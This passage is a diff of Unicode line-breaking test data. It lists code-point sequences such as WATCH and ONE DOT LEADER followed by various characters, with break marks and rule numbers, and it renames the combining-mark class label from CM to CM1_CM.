-× 231A × 0308 × 0020 ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [0.3]
-× 231A × 0308 × 0020 × 0020 ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [7.01] SPACE (SP) ÷ [0.3]
+× 231A × 0308 × 0020 ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [0.3]
+× 231A × 0308 × 0020 × 0020 ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [7.01] SPACE (SP) ÷ [0.3]
× 231A × 002F ÷ # × [0.3] WATCH (ID) × [13.02] SOLIDUS (SY) ÷ [0.3]
× 231A × 0020 × 002F ÷ # × [0.3] WATCH (ID) × [7.01] SPACE (SP) × [13.02] SOLIDUS (SY) ÷ [0.3]
-× 231A × 0308 × 002F ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM) × [13.03] SOLIDUS (SY) ÷ [0.3]
-× 231A × 0308 × 0020 × 002F ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] SOLIDUS (SY) ÷ [0.3]
+× 231A × 0308 × 002F ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] SOLIDUS (SY) ÷ [0.3]
+× 231A × 0308 × 0020 × 002F ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] SOLIDUS (SY) ÷ [0.3]
× 231A × 2060 ÷ # × [0.3] WATCH (ID) × [11.01] WORD JOINER (WJ) ÷ [0.3]
× 231A × 0020 × 2060 ÷ # × [0.3] WATCH (ID) × [7.01] SPACE (SP) × [11.01] WORD JOINER (WJ) ÷ [0.3]
-× 231A × 0308 × 2060 ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM) × [11.01] WORD JOINER (WJ) ÷ [0.3]
-× 231A × 0308 × 0020 × 2060 ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [11.01] WORD JOINER (WJ) ÷ [0.3]
+× 231A × 0308 × 2060 ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM1_CM) × [11.01] WORD JOINER (WJ) ÷ [0.3]
+× 231A × 0308 × 0020 × 2060 ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [11.01] WORD JOINER (WJ) ÷ [0.3]
× 231A × 200B ÷ # × [0.3] WATCH (ID) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
× 231A × 0020 × 200B ÷ # × [0.3] WATCH (ID) × [7.01] SPACE (SP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
-× 231A × 0308 × 200B ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
-× 231A × 0308 × 0020 × 200B ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
+× 231A × 0308 × 200B ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
+× 231A × 0308 × 0020 × 200B ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
× 231A ÷ 1F1E6 ÷ # × [0.3] WATCH (ID) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
× 231A × 0020 ÷ 1F1E6 ÷ # × [0.3] WATCH (ID) × [7.01] SPACE (SP) ÷ [18.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
-× 231A × 0308 ÷ 1F1E6 ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
-× 231A × 0308 × 0020 ÷ 1F1E6 ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× 231A × 0308 ÷ 1F1E6 ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× 231A × 0308 × 0020 ÷ 1F1E6 ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× 231A ÷ 261D ÷ # × [0.3] WATCH (ID) ÷ [999.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 231A × 0020 ÷ 261D ÷ # × [0.3] WATCH (ID) × [7.01] SPACE (SP) ÷ [18.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 231A × 0308 ÷ 261D ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 231A × 0308 × 0020 ÷ 261D ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 231A ÷ 1F3FB ÷ # × [0.3] WATCH (ID) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 231A × 0020 ÷ 1F3FB ÷ # × [0.3] WATCH (ID) × [7.01] SPACE (SP) ÷ [18.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 231A × 0308 ÷ 1F3FB ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 231A × 0308 × 0020 ÷ 1F3FB ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 231A × 0001 ÷ # × [0.3] WATCH (ID) × [9.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 231A × 0020 ÷ 0001 ÷ # × [0.3] WATCH (ID) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 231A × 0308 × 0001 ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM1_CM) × [9.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 231A × 0308 × 0020 ÷ 0001 ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 231A × 200D ÷ # × [0.3] WATCH (ID) × [9.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× 231A × 0020 ÷ 200D ÷ # × [0.3] WATCH (ID) × [7.01] SPACE (SP) ÷ [18.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× 231A × 0308 × 200D ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM1_CM) × [9.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× 231A × 0308 × 0020 ÷ 200D ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
× 231A ÷ 00A7 ÷ # × [0.3] WATCH (ID) ÷ [999.0] SECTION SIGN (AI_AL) ÷ [0.3]
× 231A × 0020 ÷ 00A7 ÷ # × [0.3] WATCH (ID) × [7.01] SPACE (SP) ÷ [18.0] SECTION SIGN (AI_AL) ÷ [0.3]
-× 231A × 0308 ÷ 00A7 ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] SECTION SIGN (AI_AL) ÷ [0.3]
-× 231A × 0308 × 0020 ÷ 00A7 ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] SECTION SIGN (AI_AL) ÷ [0.3]
+× 231A × 0308 ÷ 00A7 ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] SECTION SIGN (AI_AL) ÷ [0.3]
+× 231A × 0308 × 0020 ÷ 00A7 ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] SECTION SIGN (AI_AL) ÷ [0.3]
× 231A ÷ 50005 ÷ # × [0.3] WATCH (ID) ÷ [999.0] <reserved-50005> (XX_AL) ÷ [0.3]
× 231A × 0020 ÷ 50005 ÷ # × [0.3] WATCH (ID) × [7.01] SPACE (SP) ÷ [18.0] <reserved-50005> (XX_AL) ÷ [0.3]
-× 231A × 0308 ÷ 50005 ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] <reserved-50005> (XX_AL) ÷ [0.3]
-× 231A × 0308 × 0020 ÷ 50005 ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] <reserved-50005> (XX_AL) ÷ [0.3]
+× 231A × 0308 ÷ 50005 ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] <reserved-50005> (XX_AL) ÷ [0.3]
+× 231A × 0308 × 0020 ÷ 50005 ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] <reserved-50005> (XX_AL) ÷ [0.3]
× 231A ÷ 0E01 ÷ # × [0.3] WATCH (ID) ÷ [999.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
× 231A × 0020 ÷ 0E01 ÷ # × [0.3] WATCH (ID) × [7.01] SPACE (SP) ÷ [18.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
-× 231A × 0308 ÷ 0E01 ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
-× 231A × 0308 × 0020 ÷ 0E01 ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
+× 231A × 0308 ÷ 0E01 ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
+× 231A × 0308 × 0020 ÷ 0E01 ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
× 231A × 3041 ÷ # × [0.3] WATCH (ID) × [21.03] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
× 231A × 0020 ÷ 3041 ÷ # × [0.3] WATCH (ID) × [7.01] SPACE (SP) ÷ [18.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
-× 231A × 0308 × 3041 ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM) × [21.03] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
-× 231A × 0308 × 0020 ÷ 3041 ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
+× 231A × 0308 × 3041 ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.03] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
+× 231A × 0308 × 0020 ÷ 3041 ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
× 2024 ÷ 0023 ÷ # × [0.3] ONE DOT LEADER (IN) ÷ [999.0] NUMBER SIGN (AL) ÷ [0.3]
× 2024 × 0020 ÷ 0023 ÷ # × [0.3] ONE DOT LEADER (IN) × [7.01] SPACE (SP) ÷ [18.0] NUMBER SIGN (AL) ÷ [0.3]
-× 2024 × 0308 ÷ 0023 ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] NUMBER SIGN (AL) ÷ [0.3]
-× 2024 × 0308 × 0020 ÷ 0023 ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] NUMBER SIGN (AL) ÷ [0.3]
+× 2024 × 0308 ÷ 0023 ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] NUMBER SIGN (AL) ÷ [0.3]
+× 2024 × 0308 × 0020 ÷ 0023 ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] NUMBER SIGN (AL) ÷ [0.3]
× 2024 ÷ 2014 ÷ # × [0.3] ONE DOT LEADER (IN) ÷ [999.0] EM DASH (B2) ÷ [0.3]
× 2024 × 0020 ÷ 2014 ÷ # × [0.3] ONE DOT LEADER (IN) × [7.01] SPACE (SP) ÷ [18.0] EM DASH (B2) ÷ [0.3]
-× 2024 × 0308 ÷ 2014 ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] EM DASH (B2) ÷ [0.3]
-× 2024 × 0308 × 0020 ÷ 2014 ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] EM DASH (B2) ÷ [0.3]
+× 2024 × 0308 ÷ 2014 ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] EM DASH (B2) ÷ [0.3]
+× 2024 × 0308 × 0020 ÷ 2014 ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] EM DASH (B2) ÷ [0.3]
× 2024 × 0009 ÷ # × [0.3] ONE DOT LEADER (IN) × [21.01] <CHARACTER TABULATION> (BA) ÷ [0.3]
× 2024 × 0020 ÷ 0009 ÷ # × [0.3] ONE DOT LEADER (IN) × [7.01] SPACE (SP) ÷ [18.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
-× 2024 × 0308 × 0009 ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM) × [21.01] <CHARACTER TABULATION> (BA) ÷ [0.3]
-× 2024 × 0308 × 0020 ÷ 0009 ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
+× 2024 × 0308 × 0009 ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.01] <CHARACTER TABULATION> (BA) ÷ [0.3]
+× 2024 × 0308 × 0020 ÷ 0009 ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
× 2024 ÷ 00B4 ÷ # × [0.3] ONE DOT LEADER (IN) ÷ [999.0] ACUTE ACCENT (BB) ÷ [0.3]
× 2024 × 0020 ÷ 00B4 ÷ # × [0.3] ONE DOT LEADER (IN) × [7.01] SPACE (SP) ÷ [18.0] ACUTE ACCENT (BB) ÷ [0.3]
-× 2024 × 0308 ÷ 00B4 ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] ACUTE ACCENT (BB) ÷ [0.3]
-× 2024 × 0308 × 0020 ÷ 00B4 ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] ACUTE ACCENT (BB) ÷ [0.3]
+× 2024 × 0308 ÷ 00B4 ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] ACUTE ACCENT (BB) ÷ [0.3]
+× 2024 × 0308 × 0020 ÷ 00B4 ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] ACUTE ACCENT (BB) ÷ [0.3]
× 2024 × 000B ÷ # × [0.3] ONE DOT LEADER (IN) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
× 2024 × 0020 × 000B ÷ # × [0.3] ONE DOT LEADER (IN) × [7.01] SPACE (SP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
-× 2024 × 0308 × 000B ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
-× 2024 × 0308 × 0020 × 000B ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
+× 2024 × 0308 × 000B ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
+× 2024 × 0308 × 0020 × 000B ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
× 2024 ÷ FFFC ÷ # × [0.3] ONE DOT LEADER (IN) ÷ [20.01] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
× 2024 × 0020 ÷ FFFC ÷ # × [0.3] ONE DOT LEADER (IN) × [7.01] SPACE (SP) ÷ [18.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
-× 2024 × 0308 ÷ FFFC ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM) ÷ [20.01] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
-× 2024 × 0308 × 0020 ÷ FFFC ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
+× 2024 × 0308 ÷ FFFC ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [20.01] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
+× 2024 × 0308 × 0020 ÷ FFFC ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
× 2024 × 007D ÷ # × [0.3] ONE DOT LEADER (IN) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
× 2024 × 0020 × 007D ÷ # × [0.3] ONE DOT LEADER (IN) × [7.01] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
-× 2024 × 0308 × 007D ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM) × [13.03] RIGHT CURLY BRACKET (CL) ÷ [0.3]
-× 2024 × 0308 × 0020 × 007D ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
+× 2024 × 0308 × 007D ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] RIGHT CURLY BRACKET (CL) ÷ [0.3]
+× 2024 × 0308 × 0020 × 007D ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
× 2024 × 0029 ÷ # × [0.3] ONE DOT LEADER (IN) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
× 2024 × 0020 × 0029 ÷ # × [0.3] ONE DOT LEADER (IN) × [7.01] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× 2024 × 0308 × 0029 ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM) × [13.03] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× 2024 × 0308 × 0020 × 0029 ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× 2024 × 0001 ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] <START OF HEADING> (CM) ÷ [0.3]
-× 2024 × 0020 ÷ 0001 ÷ # × [0.3] ONE DOT LEADER (IN) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM) ÷ [0.3]
-× 2024 × 0308 × 0001 ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM) × [9.0] <START OF HEADING> (CM) ÷ [0.3]
-× 2024 × 0308 × 0020 ÷ 0001 ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM) ÷ [0.3]
+× 2024 × 0308 × 0029 ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] RIGHT PARENTHESIS (CP) ÷ [0.3]
+× 2024 × 0308 × 0020 × 0029 ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
× 2024 × 000D ÷ # × [0.3] ONE DOT LEADER (IN) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
× 2024 × 0020 × 000D ÷ # × [0.3] ONE DOT LEADER (IN) × [7.01] SPACE (SP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
-× 2024 × 0308 × 000D ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
-× 2024 × 0308 × 0020 × 000D ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+× 2024 × 0308 × 000D ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+× 2024 × 0308 × 0020 × 000D ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
× 2024 × 0021 ÷ # × [0.3] ONE DOT LEADER (IN) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
× 2024 × 0020 × 0021 ÷ # × [0.3] ONE DOT LEADER (IN) × [7.01] SPACE (SP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
-× 2024 × 0308 × 0021 ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
-× 2024 × 0308 × 0020 × 0021 ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
+× 2024 × 0308 × 0021 ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
+× 2024 × 0308 × 0020 × 0021 ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
× 2024 × 00A0 ÷ # × [0.3] ONE DOT LEADER (IN) × [12.1] NO-BREAK SPACE (GL) ÷ [0.3]
× 2024 × 0020 ÷ 00A0 ÷ # × [0.3] ONE DOT LEADER (IN) × [7.01] SPACE (SP) ÷ [18.0] NO-BREAK SPACE (GL) ÷ [0.3]
-× 2024 × 0308 × 00A0 ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM) × [12.2] NO-BREAK SPACE (GL) ÷ [0.3]
-× 2024 × 0308 × 0020 ÷ 00A0 ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] NO-BREAK SPACE (GL) ÷ [0.3]
+× 2024 × 0308 × 00A0 ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM1_CM) × [12.2] NO-BREAK SPACE (GL) ÷ [0.3]
+× 2024 × 0308 × 0020 ÷ 00A0 ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] NO-BREAK SPACE (GL) ÷ [0.3]
× 2024 ÷ AC00 ÷ # × [0.3] ONE DOT LEADER (IN) ÷ [999.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
× 2024 × 0020 ÷ AC00 ÷ # × [0.3] ONE DOT LEADER (IN) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
-× 2024 × 0308 ÷ AC00 ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
-× 2024 × 0308 × 0020 ÷ AC00 ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
+× 2024 × 0308 ÷ AC00 ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
+× 2024 × 0308 × 0020 ÷ AC00 ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
× 2024 ÷ AC01 ÷ # × [0.3] ONE DOT LEADER (IN) ÷ [999.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
× 2024 × 0020 ÷ AC01 ÷ # × [0.3] ONE DOT LEADER (IN) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
-× 2024 × 0308 ÷ AC01 ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
-× 2024 × 0308 × 0020 ÷ AC01 ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
+× 2024 × 0308 ÷ AC01 ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
+× 2024 × 0308 × 0020 ÷ AC01 ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
× 2024 ÷ 05D0 ÷ # × [0.3] ONE DOT LEADER (IN) ÷ [999.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
× 2024 × 0020 ÷ 05D0 ÷ # × [0.3] ONE DOT LEADER (IN) × [7.01] SPACE (SP) ÷ [18.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
-× 2024 × 0308 ÷ 05D0 ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
